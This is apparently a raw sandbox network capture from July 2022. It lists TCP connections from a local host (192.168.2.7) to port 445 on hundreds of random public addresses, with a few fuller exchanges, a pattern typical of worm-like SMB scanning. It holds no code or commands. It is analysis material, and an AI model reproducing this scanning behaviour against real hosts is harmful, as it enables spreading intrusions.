Jul 20, 2022 15:46:44.190428972 CEST	58245	445	192.168.2.7	100.6.90.177
Jul 20, 2022 15:46:44.191885948 CEST	58248	445	192.168.2.7	162.194.49.135
Jul 20, 2022 15:46:44.194700956 CEST	58254	445	192.168.2.7	191.225.127.75
Jul 20, 2022 15:46:44.200077057 CEST	58265	445	192.168.2.7	98.62.24.136
Jul 20, 2022 15:46:44.453823090 CEST	58203	445	192.168.2.7	188.18.139.93
Jul 20, 2022 15:46:44.498667955 CEST	58274	445	192.168.2.7	152.141.251.72
Jul 20, 2022 15:46:44.500308037 CEST	58277	445	192.168.2.7	82.172.81.240
Jul 20, 2022 15:46:44.541018009 CEST	445	58203	188.18.139.93	192.168.2.7
Jul 20, 2022 15:46:45.047600031 CEST	58203	445	192.168.2.7	188.18.139.93
Jul 20, 2022 15:46:45.136205912 CEST	445	58203	188.18.139.93	192.168.2.7
Jul 20, 2022 15:46:45.354173899 CEST	58287	445	192.168.2.7	188.18.139.94
Jul 20, 2022 15:46:45.580832005 CEST	58290	445	192.168.2.7	96.93.134.113
Jul 20, 2022 15:46:45.582016945 CEST	58293	445	192.168.2.7	194.36.227.110
Jul 20, 2022 15:46:45.582215071 CEST	58295	445	192.168.2.7	179.63.254.226
Jul 20, 2022 15:46:45.582588911 CEST	58302	445	192.168.2.7	40.181.199.134
Jul 20, 2022 15:46:45.582679033 CEST	58303	445	192.168.2.7	200.24.188.26
Jul 20, 2022 15:46:45.582783937 CEST	58304	445	192.168.2.7	99.251.0.183
Jul 20, 2022 15:46:45.582889080 CEST	58305	445	192.168.2.7	12.73.157.246
Jul 20, 2022 15:46:45.582978964 CEST	58306	445	192.168.2.7	43.135.202.136
Jul 20, 2022 15:46:45.585448980 CEST	58311	445	192.168.2.7	129.179.151.76
Jul 20, 2022 15:46:45.585452080 CEST	58310	445	192.168.2.7	29.33.103.151
Jul 20, 2022 15:46:45.585544109 CEST	58312	445	192.168.2.7	150.102.123.98
Jul 20, 2022 15:46:45.585766077 CEST	58314	445	192.168.2.7	150.12.164.79
Jul 20, 2022 15:46:45.601413012 CEST	58323	445	192.168.2.7	148.35.38.49
Jul 20, 2022 15:46:45.601557970 CEST	58324	445	192.168.2.7	194.246.138.60
Jul 20, 2022 15:46:45.601737022 CEST	58326	445	192.168.2.7	166.142.247.4
Jul 20, 2022 15:46:45.601886988 CEST	58328	445	192.168.2.7	193.17.79.194
Jul 20, 2022 15:46:45.602006912 CEST	58329	445	192.168.2.7	69.91.23.113
Jul 20, 2022 15:46:45.602241993 CEST	58333	445	192.168.2.7	137.196.79.227
Jul 20, 2022 15:46:45.602459908 CEST	58335	445	192.168.2.7	180.37.126.241
Jul 20, 2022 15:46:45.602685928 CEST	58338	445	192.168.2.7	3.76.122.32
Jul 20, 2022 15:46:45.602849007 CEST	58340	445	192.168.2.7	188.217.188.229
Jul 20, 2022 15:46:45.603127003 CEST	58343	445	192.168.2.7	90.152.23.115
Jul 20, 2022 15:46:45.603303909 CEST	58345	445	192.168.2.7	62.125.173.82
Jul 20, 2022 15:46:45.603600025 CEST	58349	445	192.168.2.7	170.58.15.13
Jul 20, 2022 15:46:45.603733063 CEST	58350	445	192.168.2.7	3.60.151.209
Jul 20, 2022 15:46:45.604072094 CEST	58356	445	192.168.2.7	176.109.23.199
Jul 20, 2022 15:46:45.698987007 CEST	58375	445	192.168.2.7	79.10.117.143
Jul 20, 2022 15:46:45.701143026 CEST	58378	445	192.168.2.7	187.37.164.200
Jul 20, 2022 15:46:47.531295061 CEST	58380	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:47.532613993 CEST	58381	445	192.168.2.7	188.18.139.95
Jul 20, 2022 15:46:47.702370882 CEST	445	58380	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:47.702575922 CEST	58380	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:47.836055040 CEST	58380	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:47.850795984 CEST	58385	445	192.168.2.7	119.115.27.155
Jul 20, 2022 15:46:47.852487087 CEST	58388	445	192.168.2.7	9.130.91.36
Jul 20, 2022 15:46:47.852900028 CEST	58400	445	192.168.2.7	184.243.131.5
Jul 20, 2022 15:46:47.852996111 CEST	58402	445	192.168.2.7	18.214.48.51
Jul 20, 2022 15:46:47.853089094 CEST	58403	445	192.168.2.7	162.73.58.220
Jul 20, 2022 15:46:47.853152990 CEST	58404	445	192.168.2.7	175.107.42.92
Jul 20, 2022 15:46:47.853332996 CEST	58408	445	192.168.2.7	139.25.170.111
Jul 20, 2022 15:46:47.853343964 CEST	58409	445	192.168.2.7	184.135.82.58
Jul 20, 2022 15:46:47.853348970 CEST	58391	445	192.168.2.7	213.69.51.111
Jul 20, 2022 15:46:47.853442907 CEST	58410	445	192.168.2.7	133.46.137.104
Jul 20, 2022 15:46:47.853481054 CEST	58411	445	192.168.2.7	56.153.221.191
Jul 20, 2022 15:46:47.853549004 CEST	58412	445	192.168.2.7	149.186.73.200
Jul 20, 2022 15:46:47.863352060 CEST	58415	445	192.168.2.7	181.29.133.19
Jul 20, 2022 15:46:47.863903046 CEST	58418	445	192.168.2.7	169.8.91.242
Jul 20, 2022 15:46:47.865045071 CEST	58437	445	192.168.2.7	117.145.223.200
Jul 20, 2022 15:46:47.865276098 CEST	58443	445	192.168.2.7	201.120.18.13
Jul 20, 2022 15:46:47.865369081 CEST	58444	445	192.168.2.7	57.92.204.92
Jul 20, 2022 15:46:47.865535975 CEST	58448	445	192.168.2.7	85.65.26.46
Jul 20, 2022 15:46:47.865633011 CEST	58450	445	192.168.2.7	185.216.181.251
Jul 20, 2022 15:46:47.865725994 CEST	58451	445	192.168.2.7	12.239.103.163
Jul 20, 2022 15:46:47.865798950 CEST	58454	445	192.168.2.7	157.2.51.49
Jul 20, 2022 15:46:47.865911007 CEST	58458	445	192.168.2.7	73.171.107.236
Jul 20, 2022 15:46:47.865971088 CEST	58460	445	192.168.2.7	160.24.40.198
Jul 20, 2022 15:46:47.866096973 CEST	58464	445	192.168.2.7	93.206.80.54
Jul 20, 2022 15:46:47.866127014 CEST	58465	445	192.168.2.7	149.18.132.124
Jul 20, 2022 15:46:47.866245985 CEST	58467	445	192.168.2.7	181.249.31.139
Jul 20, 2022 15:46:47.866280079 CEST	58469	445	192.168.2.7	214.188.113.36
Jul 20, 2022 15:46:47.866326094 CEST	58470	445	192.168.2.7	189.163.37.136
Jul 20, 2022 15:46:48.006553888 CEST	445	58380	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:48.006757021 CEST	58380	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:48.148169041 CEST	445	58460	160.24.40.198	192.168.2.7
Jul 20, 2022 15:46:48.177371025 CEST	445	58380	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:48.177598953 CEST	58380	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:48.348300934 CEST	445	58380	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:48.408443928 CEST	58479	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:48.580332041 CEST	445	58479	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:48.580574036 CEST	58479	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:48.588756084 CEST	58479	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:48.589818954 CEST	58480	445	192.168.2.7	188.18.139.96
Jul 20, 2022 15:46:48.605241060 CEST	58481	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:48.758694887 CEST	445	58479	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:48.758728027 CEST	445	58479	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:48.776138067 CEST	445	58481	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:48.776530027 CEST	58481	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:48.776572943 CEST	58481	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:48.782257080 CEST	58460	445	192.168.2.7	160.24.40.198
Jul 20, 2022 15:46:48.947599888 CEST	445	58481	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:48.947846889 CEST	58481	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:48.974507093 CEST	58485	445	192.168.2.7	126.32.163.112
Jul 20, 2022 15:46:48.975636005 CEST	58486	445	192.168.2.7	116.194.161.124
Jul 20, 2022 15:46:48.982692003 CEST	58487	445	192.168.2.7	185.31.180.253
Jul 20, 2022 15:46:48.986655951 CEST	58488	445	192.168.2.7	189.107.126.205
Jul 20, 2022 15:46:48.986805916 CEST	58492	445	192.168.2.7	43.17.241.37
Jul 20, 2022 15:46:48.986833096 CEST	58493	445	192.168.2.7	23.128.11.185
Jul 20, 2022 15:46:48.986932993 CEST	58494	445	192.168.2.7	57.194.226.23
Jul 20, 2022 15:46:48.986965895 CEST	58495	445	192.168.2.7	114.151.89.46
Jul 20, 2022 15:46:48.987032890 CEST	58497	445	192.168.2.7	210.43.174.183
Jul 20, 2022 15:46:49.006207943 CEST	58502	445	192.168.2.7	177.62.62.63
Jul 20, 2022 15:46:49.007702112 CEST	58503	445	192.168.2.7	110.223.251.25
Jul 20, 2022 15:46:49.038064957 CEST	58512	445	192.168.2.7	73.56.159.52
Jul 20, 2022 15:46:49.038068056 CEST	58528	445	192.168.2.7	39.185.137.30
Jul 20, 2022 15:46:49.038105965 CEST	58520	445	192.168.2.7	138.232.168.23
Jul 20, 2022 15:46:49.038157940 CEST	58531	445	192.168.2.7	76.18.36.241
Jul 20, 2022 15:46:49.038180113 CEST	58533	445	192.168.2.7	115.226.198.218
Jul 20, 2022 15:46:49.038250923 CEST	58530	445	192.168.2.7	219.173.209.33
Jul 20, 2022 15:46:49.038285017 CEST	58535	445	192.168.2.7	71.11.126.235
Jul 20, 2022 15:46:49.039907932 CEST	58539	445	192.168.2.7	139.143.128.166
Jul 20, 2022 15:46:49.040364981 CEST	58540	445	192.168.2.7	26.92.128.200
Jul 20, 2022 15:46:49.042649031 CEST	58544	445	192.168.2.7	19.24.114.174
Jul 20, 2022 15:46:49.064990044 CEST	445	58460	160.24.40.198	192.168.2.7
Jul 20, 2022 15:46:49.067528009 CEST	445	58520	138.232.168.23	192.168.2.7
Jul 20, 2022 15:46:49.070543051 CEST	58548	445	192.168.2.7	42.209.46.183
Jul 20, 2022 15:46:49.070702076 CEST	58553	445	192.168.2.7	203.106.199.186
Jul 20, 2022 15:46:49.070810080 CEST	58555	445	192.168.2.7	185.247.35.178
Jul 20, 2022 15:46:49.070835114 CEST	58556	445	192.168.2.7	135.4.55.17
Jul 20, 2022 15:46:49.071031094 CEST	58563	445	192.168.2.7	124.245.51.136
Jul 20, 2022 15:46:49.073367119 CEST	58577	445	192.168.2.7	185.142.48.114
Jul 20, 2022 15:46:49.118547916 CEST	445	58481	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:49.118949890 CEST	58481	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:49.289520979 CEST	445	58481	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:49.579226971 CEST	58520	445	192.168.2.7	138.232.168.23
Jul 20, 2022 15:46:49.608417988 CEST	445	58520	138.232.168.23	192.168.2.7
Jul 20, 2022 15:46:49.658459902 CEST	58579	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:49.752408028 CEST	445	58579	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:49.752657890 CEST	58579	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:49.765016079 CEST	58579	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:49.772834063 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:49.852286100 CEST	445	58579	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:49.852313042 CEST	445	58579	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:49.852463961 CEST	58579	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:49.862917900 CEST	445	58580	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:49.863090038 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:49.869497061 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:49.958956003 CEST	445	58580	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:49.962886095 CEST	445	58580	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:49.965771914 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:50.058911085 CEST	445	58580	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:50.059099913 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:50.096254110 CEST	58584	445	192.168.2.7	103.52.206.105
Jul 20, 2022 15:46:50.096328974 CEST	58586	445	192.168.2.7	53.142.178.54
Jul 20, 2022 15:46:50.096333981 CEST	58585	445	192.168.2.7	185.6.164.251
Jul 20, 2022 15:46:50.112406969 CEST	58589	445	192.168.2.7	108.149.113.82
Jul 20, 2022 15:46:50.113360882 CEST	58591	445	192.168.2.7	5.193.6.45
Jul 20, 2022 15:46:50.114067078 CEST	58592	445	192.168.2.7	161.28.249.228
Jul 20, 2022 15:46:50.114721060 CEST	58593	445	192.168.2.7	155.147.167.190
Jul 20, 2022 15:46:50.115366936 CEST	58594	445	192.168.2.7	96.183.71.233
Jul 20, 2022 15:46:50.117573977 CEST	58597	445	192.168.2.7	94.170.189.34
Jul 20, 2022 15:46:50.127753019 CEST	58601	445	192.168.2.7	202.215.123.16
Jul 20, 2022 15:46:50.128262997 CEST	58602	445	192.168.2.7	222.182.162.19
Jul 20, 2022 15:46:50.151051998 CEST	445	58580	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:50.151271105 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:50.177936077 CEST	58613	445	192.168.2.7	13.135.66.237
Jul 20, 2022 15:46:50.178092957 CEST	58619	445	192.168.2.7	142.254.88.215
Jul 20, 2022 15:46:50.178292036 CEST	58624	445	192.168.2.7	53.53.34.156
Jul 20, 2022 15:46:50.178649902 CEST	58626	445	192.168.2.7	87.122.141.252
Jul 20, 2022 15:46:50.178670883 CEST	58627	445	192.168.2.7	209.178.207.211
Jul 20, 2022 15:46:50.178997040 CEST	58632	445	192.168.2.7	187.132.223.237
Jul 20, 2022 15:46:50.184554100 CEST	58634	445	192.168.2.7	219.239.57.191
Jul 20, 2022 15:46:50.184633017 CEST	58635	445	192.168.2.7	61.44.233.103
Jul 20, 2022 15:46:50.184833050 CEST	58637	445	192.168.2.7	200.113.48.40
Jul 20, 2022 15:46:50.184943914 CEST	58639	445	192.168.2.7	26.87.251.231
Jul 20, 2022 15:46:50.185004950 CEST	58641	445	192.168.2.7	209.221.188.21
Jul 20, 2022 15:46:50.199158907 CEST	58656	445	192.168.2.7	168.195.212.245
Jul 20, 2022 15:46:50.207075119 CEST	58661	445	192.168.2.7	88.214.115.110
Jul 20, 2022 15:46:50.212196112 CEST	58665	445	192.168.2.7	99.121.108.202
Jul 20, 2022 15:46:50.212990999 CEST	58666	445	192.168.2.7	67.215.4.136
Jul 20, 2022 15:46:50.214423895 CEST	58668	445	192.168.2.7	125.55.64.190
Jul 20, 2022 15:46:50.242980957 CEST	445	58580	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:50.246273041 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:50.256541014 CEST	58675	445	192.168.2.7	185.112.203.204
Jul 20, 2022 15:46:50.338922024 CEST	445	58580	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:50.339030981 CEST	58580	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:51.215517044 CEST	58683	445	192.168.2.7	128.155.238.213
Jul 20, 2022 15:46:51.215620995 CEST	58684	445	192.168.2.7	112.96.66.172
Jul 20, 2022 15:46:51.215626955 CEST	58682	445	192.168.2.7	155.180.251.112
Jul 20, 2022 15:46:51.235347986 CEST	58687	445	192.168.2.7	136.83.94.196
Jul 20, 2022 15:46:51.235400915 CEST	58688	445	192.168.2.7	138.46.55.109
Jul 20, 2022 15:46:51.235487938 CEST	58689	445	192.168.2.7	62.56.27.248
Jul 20, 2022 15:46:51.235492945 CEST	58690	445	192.168.2.7	193.121.50.162
Jul 20, 2022 15:46:51.235553980 CEST	58691	445	192.168.2.7	42.42.89.6
Jul 20, 2022 15:46:51.236157894 CEST	58694	445	192.168.2.7	25.140.135.242
Jul 20, 2022 15:46:51.240967035 CEST	58699	445	192.168.2.7	148.57.42.130
Jul 20, 2022 15:46:51.241075993 CEST	58700	445	192.168.2.7	10.98.5.38
Jul 20, 2022 15:46:51.311846972 CEST	58717	445	192.168.2.7	129.146.160.184
Jul 20, 2022 15:46:51.311861992 CEST	58718	445	192.168.2.7	54.175.243.85
Jul 20, 2022 15:46:51.311907053 CEST	58720	445	192.168.2.7	180.163.174.189
Jul 20, 2022 15:46:51.312115908 CEST	58724	445	192.168.2.7	207.240.250.103
Jul 20, 2022 15:46:51.312156916 CEST	58725	445	192.168.2.7	65.191.22.197
Jul 20, 2022 15:46:51.312196016 CEST	58727	445	192.168.2.7	120.150.190.60
Jul 20, 2022 15:46:51.312388897 CEST	58732	445	192.168.2.7	193.240.127.13
Jul 20, 2022 15:46:51.312396049 CEST	58731	445	192.168.2.7	25.50.171.87
Jul 20, 2022 15:46:51.312525034 CEST	58734	445	192.168.2.7	162.193.200.172
Jul 20, 2022 15:46:51.312640905 CEST	58738	445	192.168.2.7	64.48.93.29
Jul 20, 2022 15:46:51.312825918 CEST	58742	445	192.168.2.7	182.23.102.117
Jul 20, 2022 15:46:51.326119900 CEST	58743	445	192.168.2.7	17.132.40.236
Jul 20, 2022 15:46:51.326297998 CEST	58747	445	192.168.2.7	60.90.85.90
Jul 20, 2022 15:46:51.326354980 CEST	58748	445	192.168.2.7	162.132.221.134
Jul 20, 2022 15:46:51.326693058 CEST	58753	445	192.168.2.7	53.217.142.132
Jul 20, 2022 15:46:51.327539921 CEST	58769	445	192.168.2.7	157.143.192.113
Jul 20, 2022 15:46:51.386814117 CEST	58773	445	192.168.2.7	7.197.29.210
Jul 20, 2022 15:46:51.616626978 CEST	445	58747	60.90.85.90	192.168.2.7
Jul 20, 2022 15:46:52.114372015 CEST	58777	445	192.168.2.7	149.20.139.3
Jul 20, 2022 15:46:52.282537937 CEST	58747	445	192.168.2.7	60.90.85.90
Jul 20, 2022 15:46:52.299343109 CEST	58782	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:52.341392994 CEST	58783	445	192.168.2.7	61.157.203.96
Jul 20, 2022 15:46:52.341456890 CEST	58784	445	192.168.2.7	153.2.145.98
Jul 20, 2022 15:46:52.342122078 CEST	58785	445	192.168.2.7	71.169.245.35
Jul 20, 2022 15:46:52.363056898 CEST	58788	445	192.168.2.7	141.223.224.161
Jul 20, 2022 15:46:52.363714933 CEST	58789	445	192.168.2.7	44.223.108.38
Jul 20, 2022 15:46:52.366904974 CEST	58790	445	192.168.2.7	30.174.175.93
Jul 20, 2022 15:46:52.367805958 CEST	58791	445	192.168.2.7	47.204.183.54
Jul 20, 2022 15:46:52.391375065 CEST	58792	445	192.168.2.7	4.224.240.51
Jul 20, 2022 15:46:52.398156881 CEST	58795	445	192.168.2.7	90.146.84.87
Jul 20, 2022 15:46:52.398312092 CEST	58800	445	192.168.2.7	23.16.79.39
Jul 20, 2022 15:46:52.398405075 CEST	58802	445	192.168.2.7	143.78.156.138
Jul 20, 2022 15:46:52.425678015 CEST	58810	445	192.168.2.7	14.202.184.191
Jul 20, 2022 15:46:52.428333044 CEST	58811	445	192.168.2.7	215.95.137.201
Jul 20, 2022 15:46:52.428438902 CEST	58813	445	192.168.2.7	20.196.159.28
Jul 20, 2022 15:46:52.442596912 CEST	58825	445	192.168.2.7	83.12.115.231
Jul 20, 2022 15:46:52.443334103 CEST	58826	445	192.168.2.7	195.89.187.163
Jul 20, 2022 15:46:52.444700003 CEST	58828	445	192.168.2.7	64.159.46.97
Jul 20, 2022 15:46:52.446923971 CEST	58831	445	192.168.2.7	73.150.196.173
Jul 20, 2022 15:46:52.448350906 CEST	58833	445	192.168.2.7	35.11.127.21
Jul 20, 2022 15:46:52.449033976 CEST	58834	445	192.168.2.7	48.126.248.100
Jul 20, 2022 15:46:52.452491045 CEST	58839	445	192.168.2.7	130.154.43.119
Jul 20, 2022 15:46:52.456583023 CEST	58843	445	192.168.2.7	220.180.221.36
Jul 20, 2022 15:46:52.458142042 CEST	58845	445	192.168.2.7	50.174.191.7
Jul 20, 2022 15:46:52.462846994 CEST	58848	445	192.168.2.7	90.187.244.162
Jul 20, 2022 15:46:52.464152098 CEST	58850	445	192.168.2.7	55.115.100.163
Jul 20, 2022 15:46:52.466672897 CEST	58854	445	192.168.2.7	220.127.94.65
Jul 20, 2022 15:46:52.468899965 CEST	445	58782	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:52.469002008 CEST	58782	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:52.469149113 CEST	58782	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:52.478913069 CEST	58869	445	192.168.2.7	140.6.222.184
Jul 20, 2022 15:46:52.492408991 CEST	445	58848	90.187.244.162	192.168.2.7
Jul 20, 2022 15:46:52.512881994 CEST	58875	445	192.168.2.7	139.192.140.20
Jul 20, 2022 15:46:52.572680950 CEST	445	58747	60.90.85.90	192.168.2.7
Jul 20, 2022 15:46:52.639266014 CEST	445	58782	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:52.639475107 CEST	58782	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:52.808590889 CEST	445	58782	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:52.808834076 CEST	58782	445	192.168.2.7	107.186.141.45
Jul 20, 2022 15:46:52.978370905 CEST	445	58782	107.186.141.45	192.168.2.7
Jul 20, 2022 15:46:53.001385927 CEST	58848	445	192.168.2.7	90.187.244.162
Jul 20, 2022 15:46:53.030217886 CEST	445	58848	90.187.244.162	192.168.2.7
Jul 20, 2022 15:46:53.033444881 CEST	58878	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.204664946 CEST	445	58878	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:53.204816103 CEST	58878	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.204960108 CEST	58878	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.208332062 CEST	58879	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.252752066 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.338223934 CEST	445	58881	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:53.338366032 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.338493109 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.376728058 CEST	445	58878	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:53.376765013 CEST	445	58878	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:53.378555059 CEST	445	58879	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:53.378688097 CEST	58879	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.383457899 CEST	58879	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.420979977 CEST	445	58881	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:53.432450056 CEST	445	58881	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:53.445086002 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.476118088 CEST	58887	445	192.168.2.7	170.108.70.134
Jul 20, 2022 15:46:53.477042913 CEST	58890	445	192.168.2.7	117.43.1.83
Jul 20, 2022 15:46:53.477042913 CEST	58891	445	192.168.2.7	194.169.175.249
Jul 20, 2022 15:46:53.477050066 CEST	58892	445	192.168.2.7	100.107.141.252
Jul 20, 2022 15:46:53.477072001 CEST	58888	445	192.168.2.7	203.120.98.226
Jul 20, 2022 15:46:53.477106094 CEST	58889	445	192.168.2.7	111.47.52.191
Jul 20, 2022 15:46:53.477117062 CEST	58893	445	192.168.2.7	93.168.196.128
Jul 20, 2022 15:46:53.520191908 CEST	58898	445	192.168.2.7	105.78.101.145
Jul 20, 2022 15:46:53.524497986 CEST	58903	445	192.168.2.7	145.189.111.243
Jul 20, 2022 15:46:53.526983976 CEST	58907	445	192.168.2.7	110.79.53.118
Jul 20, 2022 15:46:53.527021885 CEST	58908	445	192.168.2.7	12.163.88.102
Jul 20, 2022 15:46:53.528800964 CEST	445	58881	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:53.529010057 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.554176092 CEST	445	58879	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:53.561844110 CEST	58879	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.573699951 CEST	58915	445	192.168.2.7	104.185.40.111
Jul 20, 2022 15:46:53.574445009 CEST	58920	445	192.168.2.7	222.180.239.108
Jul 20, 2022 15:46:53.576503038 CEST	58918	445	192.168.2.7	112.194.21.231
Jul 20, 2022 15:46:53.577327967 CEST	58929	445	192.168.2.7	72.105.212.59
Jul 20, 2022 15:46:53.577383995 CEST	58932	445	192.168.2.7	94.109.240.210
Jul 20, 2022 15:46:53.577420950 CEST	58924	445	192.168.2.7	168.27.172.13
Jul 20, 2022 15:46:53.577423096 CEST	58933	445	192.168.2.7	61.105.219.144
Jul 20, 2022 15:46:53.577508926 CEST	58935	445	192.168.2.7	23.151.139.35
Jul 20, 2022 15:46:53.577616930 CEST	58937	445	192.168.2.7	35.32.50.16
Jul 20, 2022 15:46:53.577652931 CEST	58938	445	192.168.2.7	82.205.113.104
Jul 20, 2022 15:46:53.591356993 CEST	58960	445	192.168.2.7	69.212.112.93
Jul 20, 2022 15:46:53.591459036 CEST	58953	445	192.168.2.7	23.62.54.188
Jul 20, 2022 15:46:53.591517925 CEST	58964	445	192.168.2.7	101.240.8.91
Jul 20, 2022 15:46:53.591578007 CEST	58967	445	192.168.2.7	61.179.240.143
Jul 20, 2022 15:46:53.591933966 CEST	58972	445	192.168.2.7	63.150.152.101
Jul 20, 2022 15:46:53.591993093 CEST	58970	445	192.168.2.7	4.143.173.57
Jul 20, 2022 15:46:53.614181995 CEST	445	58881	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:53.614423990 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.616208076 CEST	58977	445	192.168.2.7	97.131.154.172
Jul 20, 2022 15:46:53.700659037 CEST	445	58881	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:53.700844049 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.732194901 CEST	445	58879	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:53.732506990 CEST	58879	445	192.168.2.7	107.186.141.46
Jul 20, 2022 15:46:53.769839048 CEST	58979	445	192.168.2.7	188.18.139.98
Jul 20, 2022 15:46:53.786238909 CEST	445	58881	188.18.139.97	192.168.2.7
Jul 20, 2022 15:46:53.786349058 CEST	58881	445	192.168.2.7	188.18.139.97
Jul 20, 2022 15:46:53.902198076 CEST	445	58879	107.186.141.46	192.168.2.7
Jul 20, 2022 15:46:54.608207941 CEST	58988	445	192.168.2.7	197.225.63.89
Jul 20, 2022 15:46:54.608294964 CEST	58990	445	192.168.2.7	136.232.112.230
Jul 20, 2022 15:46:54.608298063 CEST	58989	445	192.168.2.7	37.165.219.204
Jul 20, 2022 15:46:54.608349085 CEST	58991	445	192.168.2.7	191.202.147.78
Jul 20, 2022 15:46:54.608365059 CEST	58992	445	192.168.2.7	62.12.141.4
Jul 20, 2022 15:46:54.608431101 CEST	58993	445	192.168.2.7	135.188.85.164
Jul 20, 2022 15:46:54.608468056 CEST	58994	445	192.168.2.7	3.212.35.245
Jul 20, 2022 15:46:54.646379948 CEST	58997	445	192.168.2.7	38.150.133.59
Jul 20, 2022 15:46:54.646900892 CEST	58998	445	192.168.2.7	24.1.208.29
Jul 20, 2022 15:46:54.648696899 CEST	59002	445	192.168.2.7	13.205.44.153
Jul 20, 2022 15:46:54.662954092 CEST	59007	445	192.168.2.7	81.54.139.120
Jul 20, 2022 15:46:54.707787991 CEST	59014	445	192.168.2.7	175.128.165.23
Jul 20, 2022 15:46:54.738538980 CEST	59019	445	192.168.2.7	145.106.141.80
Jul 20, 2022 15:46:54.738645077 CEST	59024	445	192.168.2.7	11.241.141.254
Jul 20, 2022 15:46:54.738909006 CEST	59031	445	192.168.2.7	111.149.172.32
Jul 20, 2022 15:46:54.738926888 CEST	59022	445	192.168.2.7	195.216.122.212
Jul 20, 2022 15:46:54.738971949 CEST	59033	445	192.168.2.7	24.98.69.163
Jul 20, 2022 15:46:54.738996029 CEST	59032	445	192.168.2.7	22.70.217.204
Jul 20, 2022 15:46:54.739053011 CEST	59035	445	192.168.2.7	84.84.208.11
Jul 20, 2022 15:46:54.739095926 CEST	59036	445	192.168.2.7	89.205.243.52
Jul 20, 2022 15:46:54.739173889 CEST	59038	445	192.168.2.7	121.77.172.93
Jul 20, 2022 15:46:54.739358902 CEST	59044	445	192.168.2.7	2.205.200.88
Jul 20, 2022 15:46:54.739528894 CEST	59045	445	192.168.2.7	177.52.205.56
Jul 20, 2022 15:46:54.739593983 CEST	59048	445	192.168.2.7	120.84.49.97
Jul 20, 2022 15:46:54.739691019 CEST	59049	445	192.168.2.7	100.114.111.254
Jul 20, 2022 15:46:54.739919901 CEST	59055	445	192.168.2.7	3.38.41.117
